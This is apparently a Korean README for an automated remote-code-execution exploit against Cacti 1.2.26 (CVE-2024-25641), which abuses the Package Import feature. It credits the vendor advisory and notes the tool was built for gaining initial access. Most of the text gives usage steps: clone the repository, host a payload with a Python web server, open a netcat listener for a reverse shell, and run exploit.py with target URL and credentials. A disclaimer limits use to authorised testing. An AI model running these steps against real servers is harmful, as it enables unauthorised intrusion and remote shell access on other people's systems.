
CVE-2024-25641 - RCE 자동 익스플로잇 - Cacti 1.2.26
CVE-2024-25641에 대한 완전 자동화된 익스플로잇입니다. 인증된 사용자가 있을 때 Cacti 1.2.26은 "Package Import" 기능을 통해 악용할 수 있는 임의 파일 쓰기 취약점에 취약하며, "Import Templates" 권한을 가진 인증된 사용자는 웹 서버에서 임의의 PHP 코드를 실행할 수 있습니다(RCE).
이 PoC에 대한 크레딧: https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88 (저는 단순히 이를 자동화하여 초기 접근 권한을 확보했습니다.)
이 도구는 교육 및 테스트 목적으로만 제공됩니다. 이 도구의 작성자는 이 도구를 사용하여 수행된 오용이나 불법 활동에 대해 책임을 지지 않습니다. 이 도구는 소유한 시스템이나 명시적인 테스트 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.
# Clone the repository
git clone https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26.git
cd CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26
# Setup Python web server
python -m http.server <PYTHON_WEB_SERVER_PORT>
# Setup netcat listener
nc -lvnp <LOCAL_PORT>
# Run the tool
pip install -r requirements.txt (if needed)
python exploit.py -L <LOCAL_IP> -lp <LOCAL_PORT> -wp <PYTHON_WEB_SERVER_PORT> -url <URL> -u <USER> -p <PASS>
다음도 확인해 보세요 : CVE-2024-25641 PoC